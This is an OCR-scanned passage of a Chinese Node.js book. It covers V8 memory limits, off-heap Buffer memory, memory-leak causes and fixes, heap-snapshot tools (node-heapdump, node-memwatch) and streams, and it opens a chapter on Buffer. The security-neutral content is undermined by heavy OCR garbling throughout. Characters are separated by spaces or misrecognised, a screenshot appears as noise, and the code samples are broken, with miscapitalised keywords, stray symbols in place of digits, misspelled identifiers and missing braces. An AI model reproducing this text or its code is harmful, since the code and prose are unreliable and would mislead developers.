FATAL ERROR: CALL_AND_RETRY_2 Allocation failed - process out of memory 


可 以 看 到 ， 每 次 调用 usenen 都 导致 了 3 个 值 的 增长 。 在 接近 
1500 MB 的 时 候 ， 无 法 继续 分 配 内 存 ， 然 后 进程 内 存 溢出 
了 ， 连 循环 体 都 无 法 执行 完成 ， 仅 执行 了 7 次 。 


查看 系统 的 内 存 占 用 


SS pps ieioryusagst) 不同 的 是 ， Os 葛 块 中 的 totalmem() 和 freemem() 
这 两 个 方法 用 于 查看 操作 系统 的 内 存 使 用 情况 ， 它 们 分 别 返 
0 eA 以 字 市 为 单位 。 示 例 代码 如 


$ node 

> os.totalmem() 
8589934592 

> os.freemem() 
4527833088 

> 


从 输出 信息 可 以 看 到 我 的 电脑 的 总 内 存 为 8GB， 当 前 闲置 内 
存 大 致 为 4.2 GB 。 


5.3.2” 堆 外 内 存 

通过 process.memoryusage( ) 的 结果 可 以 看 到 ， 堆 中 的 内 存 用 量 总 是 小 于 进 
程 的 常 驻 内 存 用 量 ， 这 意味 着 Node 中 的 内 存 使 用 并 非 都 是 通过 V8 进行 
分 配 的 。 我 们 将 那些 不 是 通过 V8 分 配 的 内 存 称 为 堆 外 内 存 。 

这 里 我 们 将 前 面 的 usenen(0) 方 法 稍微 改造 一 下 ， 将 Array 变 为 euffer， 将 size 
变 大 ， 每 一 次 构造 200 MB 的 对 象 ， 相 关 代 码 如 下 : 


var useMem = function () { 
Var size = 200 * 1024 * 1024; 
var buffer = new Buffer(size); 
for (var i = 0; i < size; i++) { 
buffer[i] = ©; 


return buffer; 


了 


重新 执行 该 代码 ， 得 到 的 输出 结果 如 下 所 示 : 
$ node out_of_heap ,js 
Process: heapTotal 3.86 MB heapUsed 2.07 MB rss 11.12 MB 


我 们 看 到 15 次 循环 都 完整 执行 ， 并 且 三 个 内 存 占 用 值 与 前 一 个 示例 完 
全 不 同 。 在 改造 后 的 输出 结果 中 ，heapTotal 与 heapused 的 变化 极 小 ， 唯 一 


变化 的 是 rss 的 值 ， 并 且 该 值 已 经 远 远 超过 V8 的 限制 值 。 这 其 中 的 原 
是 Buffer 对 象 不 同 于 其 他 对 象 ， 它 不 经 过 V8 的 内 存 分 配 机 制 ， 所 以 也 
不 会 有 堆 内 存 的 大 小 限制 。 

这 意味 着 利用 堆 外 内 存 可 以 突破 内 存 限制 的 问题 。 

为 何 Buffer 对 象 并 非 通 过 V8 分 配 ? 这 在 于 Node 并 不 同 于 浏览 絮 的 应 用 
场景 。 在 浏览 器 中 ，JavaScript 直 接 处 理 字 符 串 即 可 满足 绝 大 多 数 的 业 
务 需求 ， 而 Node 则 需要 处 理 网 络 流 和 文件 VO 流 ， 控 作 字 符 串 远 远 不 能 
满足 传输 的 性 能 需求 。 

关于 Buffer 的 细节 可 参见 第 6 章 。 

5.3.3 ”小结 

从 上 面 的 介绍 可 以 得 知 ，Node 的 内 存 构成 主要 由 通过 V8 进 行 分 配 的 部 
A 。 受 V8 的 垃圾 回收 限制 的 主要 是 V8 的 堆 内 
子 O 


5.4 内 存 泄 漏 

Node 对 内 存 泄 漏 十 分 敏感 ， 一 旦 线 上 应 用 有 成 干 上 万 的 流量 ， 那 怕 是 
一 个 字 节 的 内 存 泄漏 也 会 造成 堆积 ， 垃 圾 回收 过 程 中 将 会 耗费 更 多 时 
间 进 行 对 象 扫描 ， 应 用 啊 应 缓慢 ， 直 到 进程 内 存 海 出 ， 应 用 裔 让。 
在 V8 的 垃圾 回收 机 制 下 ， 在 通常 的 代码 编写 中 ， 很 少 会 出 现 内 存 湛 汤 
的 情况 。 但 是 内 存 泄漏 通常 产生 于 无 意 间 ， 较 难 排查 。 尺 管内 存 汇 漏 
的 情况 不 尽 相 同 ， 但 其 实质 只 有 一 个 ， 那 就 古 应 当 回 收 的 对 象 出 现 意 
外 而 没有 被 回收 ， 变 成 了 和 彰 驻 在 老生 代 中 的 对 象 。 

通常 ， 造 成 内 存 泄 凋 的 原因 有 如 下 几 个 。 


。 缓存。 
。 队列 消费 不 及 时 。 
。 “作用 域 未 释放 。 


5.4.1 局 将 内 存 当 做 缓存 
缓存 在 应 用 中 的 作用 举足轻重 ， 可 以 十 分 有 效 地 市 省 资源 。 因 为 它 的 
2 600 一 旦 命中 绥 存 ， 束 可 以 节省 一 次 W/O 的 时 
IB 。 
但 是 在 Node 中 ， 绥 存 并 非 物美 价 说 。 一 旦 一 个 对 和 象 被 当做 缓存 来 使 
用 ， 那 就 意味 着 它 将 会 音 驻 在 老生 代 中 。 绥 存 中 存储 的 键 越 多 ， 长 期 
存活 的 对 象 也 束 越 多 ， 这 将 导致 垃圾 回收 在 进行 扫 朱 和 整理 时 ， 对 这 
些 对 象 做 无 用 功 。 
另 一 个 问题 在 于 ， JavaScript 开 发 痢 通 党 喜欢 用 对 象 的 键 值 对 来 缓存 东 
西 ， 但 这 与 严格 意义 上 的 缓存 义 有 着 区 别 ， 严 格 意 义 的 缓存 有 着 完善 
的 过 期 策略 ， 而 普通 对 象 的 键 值 对 并 没有 。 
如 下 代码 虽然 利用 JavaScript 对 象 十 分 容易 创建 一 个 缓存 对 象 ， 但 是 受 
垃圾 回收 机 制 的 影响 ， 只 能 小 量 使 用 : 

Var cache = {}; 


var get = function (key) { 
if (cache[key]) { 


return cache[key]; 
} else 
// get from otherwise 


} 


/ 
var Set = function (key, value) { 
cache[key] = value; 


}; 


上 述 示例 在 解释 原理 后 ， 十 分 容易 理解 ， 如 果 需 要 ， 只 要 限定 缓存 对 
人 加 上 完善 的 过 期 策略 以 防止 内 存 无 限制 增长 ， 还 是 可 以 一 
这 里 给 出 一 个 可 能 无 意识 造成 内 存 泄 漏 的 场景 : menoize。 下 面 是 著名 类 
库 underscore 对 menoize 的 实现 : 


_.memoize = function(func, hasher) { 
var memo = {}; 
hasher || (hasher = _.identity); 
return function() { 
var key = hasher.apply(this, arguments); 
return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, argumen 
ts)); 
/ 


】 


它 的 原理 是 以 参数 作为 键 进行 缓存 ， 以 内 存 空间 换 CPU 执 行 时 间 。 这 
里 潜藏 的 陷阱 即 是 每 个 个 执 行 的 结 采 都 会 按 参 数 缓存 在 neno 对 象 上 ， 不 
会 被 清除 。 这 在 前 端 网 页 这 种 短 时 应 用 场景 中 不 存在 大 问题 ， 但 是 执 
行 量 大 和 人 参数 多 样 性 的 情况 下 ， 会 造成 内 存 占用 不 释放 。 

所 以 在 Node 中 ， 任 何 试图 拿 内 存 当 缓存 的 行为 都 应 当 被 限制 。 当 然 ， 
这 种 限制 并 不 是 不 允许 使 用 的 意思 ， 而 是 要 小 心 为 之 。 


1. 缓存 限制 策略 
为 了 解决 缓存 中 的 对 象 永远 无 法 释放 的 问题 ， 需 要 加 入 一 种 
策略 来 限制 缓存 的 无 限 增长 。 为 此 我 曾 写 过 一 个 模块 
limitablemap， 它 9 以 实现 对 键 值 数 量 的 限制 。 下 面 是 其 实现 : 


var LimitableMap = function (limit) { 
this.1limit = limit || 10; 
this.map = {}; 
this.keys = []; 


了 


var hasownProperty = 0bject.prototype.hasownProperty 


LimitableMap.prototype.set = function (key, value) { 
var map = this.map,; 
Var keys = this.keys; 
if (!hasOownProperty.call(map, key)) { 
if (keys.length === this.limit) { 
var firstkey = keys.shift(); 
delete map[firstkey]; 


} 
keys.push(key); 


map[key] = value; 


了 


LimitableMap.prototype.get = function (key) { 


return this.map[key]; 


module.exports = LimitableMap; 


可 以 看 到 ， 实 现 过 程 还 是 非常 简单 的 。 记 录 键 在 数组 中 ， 一 
旦 超过 数量 ， 就 以 先进 先 出 的 方式 进行 淘汰 。 

当然 ， 这 种 淘汰 策略 并 不 是 十 分 高 效 ， 只 能 应 付 小 型 应 用 场 
景 。 如 果 需 要 更 高 效 的 缓存 ， 可 以 参见 Isaac Z. Schlueter 采 用 
LRU 算 法 的 缓存 ， 地 址 为 https:/github.com/isaacs/node-lru- 
cache。 结合 有 限制 的 缓存 ，nemoize 还 是 可 用 的 。 

另 一 个 案例 在 于 模块 机 制 。 在 第 2 章 的 模块 介绍 中 ， 为 了 加 速 
模块 的 引入 ， 所 有 模块 都 会 通过 编译 执行 ， 然 后 被 缓存 起 
来 。 由 于 通过 exports 导 出 的 函数 ， 可 以 访问 文件 模块 中 的 私有 
变量 ， 这 样 每 个 文件 模块 在 编译 执行 后 形成 的 作用 域 因 为 模 
块 缓存 的 原因 ， 不 会 被 释放 。 示 例 代码 如 下 所 示 : 


(function (exports, require, module, _ filename, _ dirname) { 
三 语 1， 


var local = "局 部 变量 


exports.get = function () { 
return local,; 


}; 
}); 


由 于 模块 的 缓存 机 制 ， 模 块 是 常 驻 老生 代 的 。 在 设计 模块 
时 ， 要 十 分 小 心 内 存 泄 漏 的 出 现 。 在 下 面 的 代码 ， 每 次 调用 
leak() 方 法 时 ， 都 导致 局 部 变量 leakArray 不 停 增加 内 存 的 占用 ， 
且 不 被 释放 : 

var leakArray = []; 


exports.leak = function () { 
leakArray.push("leak" + Math.random( ) ) ， 
/ 


如 果 模 块 不 可 避免 地 需要 这 么 设计 ， 那 么 请 添加 请 空 队列 的 
相应 接口 ， 以 供 调 用 者 释放 内 存 。 

缓存 的 解决 方案 

直接 将 内 存 作 为 缓存 的 方案 要 十 分 慎重 。 除 了 限制 缓存 的 大 
小 外 ， 男 外 要 堵 虑 的 事情 是 ， 进 程 之 间 无 法 共 译 内 存 。 如 采 
在 进程 内 使 用 缓存 ， 这 些 缓存 不 可 避免 地 有 重复 ， 对 物理 内 
存 的 使 用 是 一 种 当 费 。 

如 何 使 用 大 量 缓存 ， 目 前 比较 好 的 解决 方案 是 采用 进程 外 的 
缓存 ， 进 程 目 身 不 存储 状态 。 外 部 的 缓存 软件 有 着 展 好 的 组 


存 过 期 淘汰 策略 以 及 目 有 的 内 存 管理 ， 不 影响 Node 进 程 的 性 
能 。 它 的 好 处 多 多 ， 在 Node 中 主要 可 以 解决 以 下 两 个 问题 。 
1. 将 缓存 转移 到 外 部 ， 减 少 常 驻 内 存 的 对 象 的 数量 ， 让 垃 
圾 回收 更 高 效 。 
2 进程 之 间 可 以 共享 缓存 。 
目前 ， 市 面 上 较 好 的 缓存 有 Redis 和 Memcached。Node 模 块 的 
生态 系统 十 分 完善 ， 这 两 个 产品 的 客户 端 都 有 ， 通 过 以 下 地 
址 可 以 查看 具体 使 用 详情 。 
O Redis: https://github.com/mranney/node redis。 


oO Memcached : https://github.com/3rd-Eden/node- 
memcached 。 


5.4.2 ”关注 队列 状态 

在 解决 了 缓存 带 来 的 内 存 泄 漏 问题 后 ， 另 一 个 不 经 意 产 生 的 内 存 泄漏 
则 是 队列 。 在 第 4 章 中 可 以 看 到 ， 在 JavaScript 中 可 以 通过 队列 (数组 
对 象 ) 来 完成 许多 特殊 的 需求 ， 比 如 Bagpipe。 队 列 在 消费 者 ?生产 者 
模型 中 经 常 充 当中 间 产 物 。 这 是 一 个 容易 忽略 的 情况 ， 因 为 在 大 多 数 
应 用 场景 下 ， 消 费 的 速度 远 远 大 于 生产 的 速度 ， 内 存 泄漏 不 易 产 生 。 
但 是 一 旦 消费 速度 低 于 生产 速度 ， 将 会 形成 堆积 。 

举 个 实际 的 例子 ， 有 的 应 用 会 收集 日 志 。 如 果 欠 缺 考 虑 ， 也 许 会 采用 
数据 库 来 记录 日 志 。 日 志 通 常会 是 海量 的 ， 数 据 库 构 建 在 文件 系统 

上 ， 写 入 效率 远 远 低 于 文件 直接 写 入 ， 于 是 会 形成 数据 库 写 入 操作 的 
堆积 ， 而 JavaScript 中 相关 的 作用 域 也 不 会 得 到 释放 ， 内 存 占用 不 会 回 
落 ， 从 而 出 现 内 存 泄漏 。 

遇 到 这 种 场景 ， 表 层 的 解决 方案 是 换 用 消费 速度 更 高 的 技术 。 在 日 志 
收集 的 案例 中 ， 换 用 文件 写 入 日 志 的 方式 会 更 高 效 。 需 要 注意 的 是 ， 

如 果 生 产 速度 因为 某 些 原因 突然 激增 ， 或 者 消费 速度 因为 突然 的 系统 
故障 降低 ， 内 存 泄 漏 还 是 可 能 出 现 的 。 

深度 的 解决 方案 应 该 是 监控 队列 的 长 度 ， 一 旦 堆积 ， 应 当 通 过 监控 系 
统 产 生 报 警 并 通知 相关 人 员 。 另 一 个 解决 方案 是 任意 异步 调用 都 应 该 
包含 超时 机 制 ， 一 旦 在 限定 的 时 间 内 未 完成 响应 ， 通 过 回调 函数 传递 
超时 异常 ， 使 得 任意 异步 调用 的 回调 都 具备 可 控 的 响应 时 间 ， 给 消费 
速度 一 个 下 限 值 。 


对 于 Bagpipe 而 客 ， 它 提供 了 超时 模式 和 拒绝 模式 。 局 用 超时 模式 时 ， 
调用 加 入 到 队列 中 束 开 始 计时 ， 超 时 殉 直 接 啊 应 一 个 超时 错误 。 2 
拒绝 模式 时 ， 当 队列 拥 套 时 ， 痢 到 来 的 调用 会 直接 啊 应 拥塞 错误 。 
两 种 模式 都 能 够 有 效 地 防止 队列 拥塞 导致 的 内 存 泄漏 问题 。 


5.5 ”内 存 泄漏 排查 

前 面 担 及 了 几 种 导致 内 存 泄漏 的 芝 见 类 型 。 在 Node 中 ， 由 于 V8 的 堆 内 存 
大 小 的 限制 ， 它 对 内 存 泄漏 非常 敏感 。 当 在 线 服 务 的 请 求 量 变 大 时 ， 哪 
怕 古 一 个 字 市 的 港 漏 都 会 导致 内 存 占 用 过 高 。 这 里 介绍 一 下 过 到 内 存 泄 
漏 时 的 排 碍 方案 。 

和 下 面 是 一 些 稼 见 的 
工 只 。 


。 v8-profiler。 由 Danny Coates 提 供 ， 它 可 以 用 于 对 V8 堆 内 存 抓 取 
快照 和 对 CPU 进 行 分 析 ， 但 该 项 目 已 经 有 3 年 没有 维护 了 。 

。 node-heapdump。 这 是 Node 核 心 页 献 者 之 一 Ben Noordhuis 编 写 
的 模块 ， 它 允许 对 V8 堆 内 存 抓 取 快 照 ， 用 于 事后 分 析 。 

。 node-mtrace。 由 Jimb Esser 提 供 ， 它 使 用 了 GCC 的 mtrace 工 具 来 
分 析 堆 的 使 用 。 

。 dtrace。 在 Joyent 的 SmartOS 系 统 上 ， 有 完善 的 dtrace 工 具 用 来 分 


析 内 存 泄 漏 。 
。 node-memwatch。 来 和 目 Mozilla 的 Lloyd Hilaiel 贡 献 的 模块 ， 采 用 
WTFPL 许 可 发 布 。 


由 于 各 种 条 件 限制 ， 这 里 将 只 着 重 介 绍 通 过 node-heapdump 和 node- 
memwatch 两 种 方式 进行 内 存 泄 漏 的 排查 。 

5.5.1 node-heapdump 

想 要 了 解 node-heapdump 对 内 存 泄 漏 进行 排查 的 方式 ， 我 们 需要 先 构 造 如 
下 一 份 包含 内 存 泄漏 的 代码 示例 ， 并 将 其 存 为 server.js 文 件 : 


var leakArray = []; 

var leak = function () { 
leakArray.push("leak" + Math.random()); 
}; 


http,createServer(function (req, res) { 
leak(); 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}).listen(1337); 


console.log('Server running at http://127.0.0.1:1337/'); 
在 上 面 这 上 段 代码 中 ， 每 次 访问 服务 进程 都 将 引起 leakarray 数 组 中 的 元 素 增 
加 ， 而 且 得 不 到 回收 。 我 们 可 以 用 curl 工 具 输 入 http:/127.0.0.1:1337/ 命 令 
来 模拟 用 户 访问 。 


安装 node-heapdump 
安装 node-heapdump 非 常 简单 ， 执 行 以 下 命令 即 可 : 


$ npm install heapdump 
安装 node-heapdump 后 ， 在 代码 的 第 一 行 添 加 如 下 代码 将 其 引 
A 


var heapdump = require('heapdump'); 


引入 node-heapdump 后 ， 束 可 以 启动 服务 进程 ， 并 接受 客户 端的 
请 求 。 访 问 多 次 之 后 ，1eakarray 中 就 会 具备 大 量 的 元 素 。 这 个 时 
候 我 们 通过 向 服务 进程 发 送 sreusR2 信 号 ， 让 node-heapdump 抓 拍 一 
份 堆 内 存 的 快照 。 发 送信 号 的 命令 如 下 : 


$ kill -USR2 <pid> 


jx 份 抓 取 的 快 照 将 会 在 文 件 加 | 杂 下 以 heapdump-<sec>. 
<usec> ,heapsnapshot 的 格式 存放 有 这 是 一 份 较 大 的 JSON 文 件 ， 需 
通过 Chrome 的 开发 者 工具 打开 查看 。 

在 Chrome 的 开发 者 工具 中 选中 Profiles 面 板 ， 右 击 该 文件 后 ， 从 
弹出 的 快捷 菜单 中 选择 Load... 选 项 ， 打 开 刚 才 的 快照 文件 ， 就 可 
以 查看 堆 内 存 中 的 详细 信息 ， 如 图 5-10 所 示 。 


Developer Tools -~ http:/ /blog.eood.cn/node-js_gc we 
Elements Resources Network Sources Timeline |Profiles | Audits Console PageSpeed 
一 ccfiitee NO 
(> Profiles 2 
| Constructor 一 Di Objects Shallow i Retained: bd 
| SNE »"leak0.04839748586528003"”@9165 10 40 0%| 88 0%| 
眼 Jeapdump 80159875 »"leak0.9315759800374508" @9171 10 40 0%| 88 oOo%| 
4:5 MB * "Leak@,7385612269863486"” @9175 10 40 0%| 88 0%| 
»"leak0,2765698346775825”" @9179 10 40 0O% 88 0O0%I 
b"leak0,2897529164329171”" @9183 10 40 0O% 88 0%| 
"Leakg,646491487044841” @9187 10 a0 0O% 88 0%I 
b"leak0,6503751589916646” @9191 10 40 0O% 88 0% 
bp"leak0, 36198201007290972”" @9195 10 40 0% 88 0% 
"Leakg,9816538877785206”69199 10 40 0% 88 0% 
bp"leak0.8561717681586742"” @9203 10 40 0% 88 0O%M 
"(function (exports, require, module,l5 88 O% 88 0o%| 
bp"leak0,9800042035058141” @11007 10 40 0O% 88 0%| 
»"leak0.05798841710202396" @11011 10 40 0O% 88 0 %| 
b"leak0,8280067997984588”" @11015 10 40 0O% 88 0 区 | 
bp"leak0, 15460664103738964”" @11019 10 a0 0% aR Nml 
Objects retaining tree 
Object Shallow S$... Retained Dist-al 
v[1] in Array 638371 32 0O%|1704 O%|7 | 
vpaths in Module @26967 136 0%|1896 0%|6 
[gl in Array @26965 32 0% 184 0%I5 
vchildren in Module @26919 136 0%|1080 0%|4 | 
vaneinModule in process 68177 24 0O%|S5328 0%|3 
vprocess in @4645 56 O%56344 65%|2 [ 
中 .3Qe@ ee Summary vv Alobjects ? el02 疾 


图 5-10 查看 堆 内 存 中 的 详细 信息 
在 图 5-10 中 可 以 看 到 有 大 量 的 leak 字 符 串 存 在 ， 这 些 字符 串 就 是 
一 直 未 能 得 到 回收 的 数据 。 通 过 在 开发 者 工具 的 面板 中 碍 看 内 


存 分 布 ， 我 们 可 以 找到 泄漏 的 数据 ， 然 后 根据 这 些 信息 找到 造 
成 泄漏 的 代码 。 


5.5.2 node-memwatch 


node-memwatch 的 用 法 和 node-heapdump 一 样 ， 我 们 需要 准备 一 份 具有 内 
人 这 里 不 再 芍 述 hode-memwatch 的 安装 过 程 。 整 个 示例 代码 
下: 


var memwatch = require('memwatch'); 

memwatch.on('leak', function (info) { 
console.log('leak:"'); 
console.1log(info); 


}); 


memwatch.on('stats', function (stats) { 
console.log('stats:') 
console.log(stats); 


}); 
var http = require('http'); 


var leakArray = [1]; 

var leak = function () { 
leakArray.push("leak" + Math.random()); 

}; 


http,createServer(function (req, res) { 
leak(); 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}).listen(1337); 


console.log('Server running at http://127.0.0.1:1337/'); 


图 stats 事 件 


在 进程 中 使 用 node-memwatch 之 后 ， 每 次 进行 全 堆 垃 圾 回收 时 ， 
将 会 触发 一 次 stats 事 件 ， 这 个 事件 将 会 传递 内 存 的 统计 信息 。 在 
对 上 述 代 码 创 建 的 服务 进程 进行 访问 时 ， 某 次 stats 事 件 打 印 的 数 
据 如 下 所 示 ， 其 中 每 项 的 意义 写 在 注释 中 了 : 


Stats : 

num_full_gc: 4，// 第 几 次 全 堆 垃 圾 回收 
num_inc_gc: 23，// 第 几 次 增 量 垃圾 回收 
heap_compactions: 4，// 第 几 次 对 老生 代 进 行 整理 
usage_trend: 0，// 使 用 趋势 
estimated_base: 7152944，// 预 估 基 数 
current_base: 7152944，// 当前 基数 
min: 6720776，// 最 小 

max: 7152944 } // 最 大 


中 ， num_full_gc 和 num_inc_gc 比较 直观 地 反应 下 垃圾 回 收 
情 Y o 


~ 


leak 事 件 


如 果 经 过 连续 5 次 垃圾 回收 后 ， 内 存 仍然 没有 被 释放 ， 这 意味 着 
有 内 存 泄 漏 的 产生 ，node-memwatch 会 出 发 一 个 leak 事 件 。 某 次 
leak 事 件 得 到 的 数据 如 下 所 示 : 


leak: 
{ start: Mon Oct 07 2013 13:46:27 GMT+0800 (CST), 
end: Mon Oct 07 2013 13:54:40 GMT+0800 (CST), 
growth: 6222576, 
reason: 'heap growth over 5 consecutive GCs (8m 13s) - 43.33 mb/hr' } 


文 个 数据 能 显示 5 次 垃圾 回收 的 过 程 中 内 存 增长 了 多 少 。 
ee 


终 得 到 的 ieak 事 件 的 信息 只 能 告知 我 们 应 用 中 存在 内 存 泄 漏 ， 
县 休 问题 庆生 在 何 处 渤 需 要 肥 Ve 的 堆 内 存 十 和 。 node- 
memwatch 提 供 了 抓 取 快 照 和 比较 快照 的 功能 ， 它 能 够 比较 堆 上 
对 象 的 名 称 和 分 配 数量 ， eke 


下 面 为 一 段 导 作 内 存 泄漏 的 代码 ， 通过 node-memwatch 获 取 
堆 内 存 差 异 结 果 的 示例 : 


var memwatch = require( 'memwatch ' ) ; 
var leakArray = []; 
var leak = function 
leakArray.push("leak" + Math.random()); 
}; 


// Take first snapshot 
var hd = new memwatch .HeapDiff(); 


for (var i = 0; i < 10000; i++) { 
leak(); 


// Take the second snapshot and compute the diff 
var diff = hd.end(); 
console.log(JSON.stringify(diff, null, 2)); 


执行 上 面 这 段 代码 ， 得 到 的 输出 结果 如 下 所 示 : 


$ node diff.js 


"before": { 
"nodes": 11719, 
"time": "2013-10-07T06:32:07.0002Z", 
"size_bytes": 1493304, 
"size": "1.42 mb" 


}, 
"after": { 
"nodes": 31618, 
"time": "2013-10-07T06:32:07.0002Z", 
"size_bytes": 2684864, 
TS 过 “2556 mb 


"change": { 
"size_bytes": 1191560, 


"size": "1.14 mb", 
"freed_ nodes": 129, 
"allocated nodes": 20028, 
"details": [ 


"what": "Array", 
"size_bytes": 323720, 
"size": "316.13 kb", 


Mr" 15; 
": 65 

}, 

{ 
"what": "Code", 
"size_bytes": -10944, 
"size": "-10.69 kb", 
NE 8, 
Hs 28 

}, 

{ 
"what": "String", 
"size_bytes": 879424, 
"size": "858.81 kb", 
n+": 20001, 
Ey EE 

} 

] 
} 
} 


在 沁 面 的 输 出 结 末 中 ， 主 此 天 注 change 世 后 让 的 freed_nodes 和 
allocated_nodes, 它们 记录 了 释放 的 地点 数量 和 分 配 的 和 点 数量 
这 里 由 于 有 内 存 港 漏 ， 分 配 的 节点 数量 远 远 多 余 释 放 的 万 点 数 
量 。 在 details 下 可 以 看 到 具体 每 种 类 型 的 分 配 和 释放 数量 ， 主 要 
问题 展现 在 下 面 这 段 输 出 中 : 


"what": "String", 
"size_bytes": 879424, 
"size": "858.81 kb", 
"n+": 20001, 
Ny 寺 

} 


在 上 述 代码 中 ， 加 号 和 减 号 分 别 表 示 分 配 和 释放 的 字符 捉 对 象 
es 有 大 量 的 字符 串 没有 
人 有 oO 


5.5.3 小结 

从 本 市 的 内 容 我 们 可 以 得 知 ， 排 查 内 存 泄漏 的 原因 主要 通过 对 堆 内 存 进 
行 分 析 而 找到 。node-heapdump 和 node-memwatch 各 有 所 长 ， 读 者 可 以 结 
合 它 们 的 优势 进行 内 存 泄漏 排查 。 


5.6 ”大 内 存 应 用 
在 Node 中 ， 不 可 避免 地 还 是 会 存在 操作 大 文件 的 场景 。 由 于 Node 的 内 
， 操 作 大 文件 也 需要 小 心 ， 好 在 Node 提 供 了 strean 模 块 用 于 处 理 


stream 模 块 是 Node 的 原生 模块 ， 直 接 引 用 即 可 。streanm 继 承 目 
EventEmitter， 具 备 基 本 的 目 定 义 事件 功能 ， 同 时 抽象 出 标准 的 事件 和 方 
法 。 它 分 可 读 和 可 写 两 种 。 Node 中 的 大 多 数 模块 都 有 strean 的 应 用 ， 比 
如 fs 的 createReadstream( 不 ]] wren 7 J] 以 分 别 用 于 创建 文件 的 
可 读 流 和 可 写 流 ，process 模 块 中 的 stdin 和 stduout 则 分 别 是 可 读 流 和 可 写 流 
的 示例 。 

由 于 V8 的 内 存 限制 ) 我 们 无 法 通过 fs.readrile(0) 和 fs.writerile() 直 接 进 行 
大 文件 的 操作 ， 而 改 用 isassaasaesuaiissmel 趟 usesgssaaseasssssssww 方 法 通过 
流 的 方式 实现 对 大 文件 的 操作 。 下 面 的 代码 展示 了 如 何 读 取 一 个 文 
件 ， 然 后 将 数据 写 入 到 男 一 个 文件 的 过 程 : 


var reader = fs.createReadStream( 'in.txt'); 
var writer = fs.createwriteStream('out.txt'); 
reader.on('data', function (chunk) 区 

writer .write(chunk); 


/ 
reader.on('end', function () { 
writer.end(); 


由 于 读 写 模型 固定 ， 上 壕 方法 有 更 位 洁 的 方式 ， 具 体 如 下 所 示 : 


var reader = fs.createReadStream( 'in.txt'); 
var writer = fs.createwriteStream('out.txt'); 
reader .pipe(writer); 


可 读 流 提供 了 管道 方法 pipe()， 封 疙 了 data 事件 和 写 入 操作 。 通 过 流 的 
上 述 代码 不 会 受到 V8 内 存 限 制 的 影响 ， 有 效 地 提高 了 程序 的 健 
如 果 不 需 要 进行 字符 串 层面 的 操作 ， 则 不 需要 借助 V8 来 处 理 ， 可 以 笑 
试 进行 纯粹 的 Buffer 操 作 ， 这 不 会 受到 V8 堆 内 存 的 限制 。 但 是 这 种 大 
片 使 用 内 存 的 情况 依然 要 小 心 ， 即 使 V8 不 限制 堆 内 存 的 大 小 ， 物 理 内 
存 依然 有 限制 。 


5.7 ”总 结 


AnN 一 口 
Node 将 JavaScript 的 主要 应 用 场景 扩展 到 了 服务 絮 端 ， 相 应 要 考虑 的 细 
方 也 与 浏 咒 絮 端 不 同 ， 需 要 更 严 谍 地 为 每 一 份 资源 作出 安排 。 总 的 来 
说 ， 内 存在 Node 中 不 能 随心 所 欲 地 使 用 ， 但 也 不 是 完全 不 擅长 。 本 章 
介绍 了 内 存 的 各 种 限制 ， 硕 望 读 者 可 以 在 使 用 中 规避 禁忌 ， 与 生态 系 
统 中 的 各 种 软件 搭配 ， 发 挥 Node 的 长 处 。 


5.8 ”参考 资源 
在 这 里 ， 我 特别 感谢 莫 枢 对 本 章 的 指导 。 本 章 参考 的 资源 如 下 所 示 : 


。 http:/www.cs.sunysb.edw~cse304/Fall08/Lectures/mem- 
handout.pdf 

。 http://en.wikipedia.org/wiki/Resident set size 

. https://github.com/isaacs/node-lru-cache 

。 https://github.com/mranney/node redis 

。 https://github.com/3rd-Eden/node-memcached 

。 http://nodejs.org/docs/latest/api/stream.html 

。 http:/wwwshowmuch.comy/a/20111012/215033.html 

。 https://github.com/lloyd/node-memwatch 

。 https://github.com/bnoordhuis/node-heapdump 

。 http:/wwwwilliamlong,info/archives/3042.html 

e https://code.google.com/p/v8/issues/detail?id=847 

. http://blog.chromium.org/2011/11/game-changer-for- 


interactive.html 


第 6 章 理解 Buffer 

JavaScript 对 于 字符 串 (string) 的 操作 十 分 友好 ， 无 论 是 蜗 字 市 字 符 串 

还 是 单字 市 字符 串 ， 都 被 认为 是 一 个 字符 串 。 示 例 代码 如 下 所 示 : 
console.1o0g("0123456789" .length); // 10 


console.1og(" 零 一 二 三 四 五 六 七 八 九 " .length); //10 
console.1og("u00bd" ,Length)，V// 1 


对 比 PHP 中 的 字符 串 统 计 ， 我 们 需要 动用 额外 的 函数 来 获取 字符 串 的 
长 度 。 示 例 代 码 如 下 所 示 : 


<?ph 

echo strlen("0123456789"); // 10 

echo "\n"，; 

echo strlen(" 零 一 二 三 四 五 六 七 八 九 "); // 30 

echo "\n"，; 

echo mb_strlen(" 零 一 二 三 四 五 六 七 八 九 "，"utf-8"); //10 
echo "\n"，; 


?> 


与 第 5 章 介 绍 的 内 容 一 样 ， 本 章 讲述 的 也 是 前 端 JavaScript 开 发 者 不 曾 
涉及 的 内 容 。 文 件 和 网 络 VO 对 于 前 端 开 发 者 而 言 都 是 不 曾 有 的 应 用 场 
景 ， 因 为 前 端 只 需 做 一 些 简单 的 字符 串 操作 或 DOM 操 作 基 本 就 能 满足 
业务 需求 ， 在 ECMAScript 规 范 中 ， 也 没有 对 这 些 方面 做 任何 的 定义 ， 
只 有 CommonJS 中 有 部 分 二 进 制 的 定义 。 由 于 应 用 场景 不 同 ， 在 Node 
中 ， 应 用 需要 处 理 网 络 协 议 、 操 作 数 据 库 、 处 理 图 片 、 接 收 上 传 文件 
等 ， 在 网 络 流 和 文件 的 操作 中 ， 还 要 处 理 大 量 二 进 制 数据 ，JavaScript 
自 有 的 字符 串 远 远 不 能 满足 这 些 需 求 ， 于 是 Buffer 对 象 应 运 而 生 。 


6.1 Buffer 结构 

Buffer 是 一 个 像 Array 的 对 象 ， 但 它 主 要 用 于 操作 字 节 。 下 面 我 们 从 模块 结 
构 和 对 象 结构 的 层面 上 来 认识 它 。 

6.1.1 模块 结构 

Buffer 是 一 个 典型 的 JavaScript 与 C++ 结合 的 模块 ， 它 将 性 能 相关 部 分 用 
C++ 实现 ， 将 非 性 能 相关 的 部 分 用 JavaScript 实 现 ， 如 图 6-1 所 示 。 


JavaScript 核 心 模块 Buffer/SlowBuffer 


C++ 内 建 模 块 node buffer 


图 6-1 Buffer 的 分 工 

第 5 章 揭示 了 Buffer 所 占用 的 内 存 不 是 通过 V8 分 配 的 ， 属 于 堆 外 内 存 。 由 
于 V8 垃圾 回收 性 能 的 影响 ， 将 常用 的 操作 对 象 用 更 高 效 和 专 有 的 内 存 分 
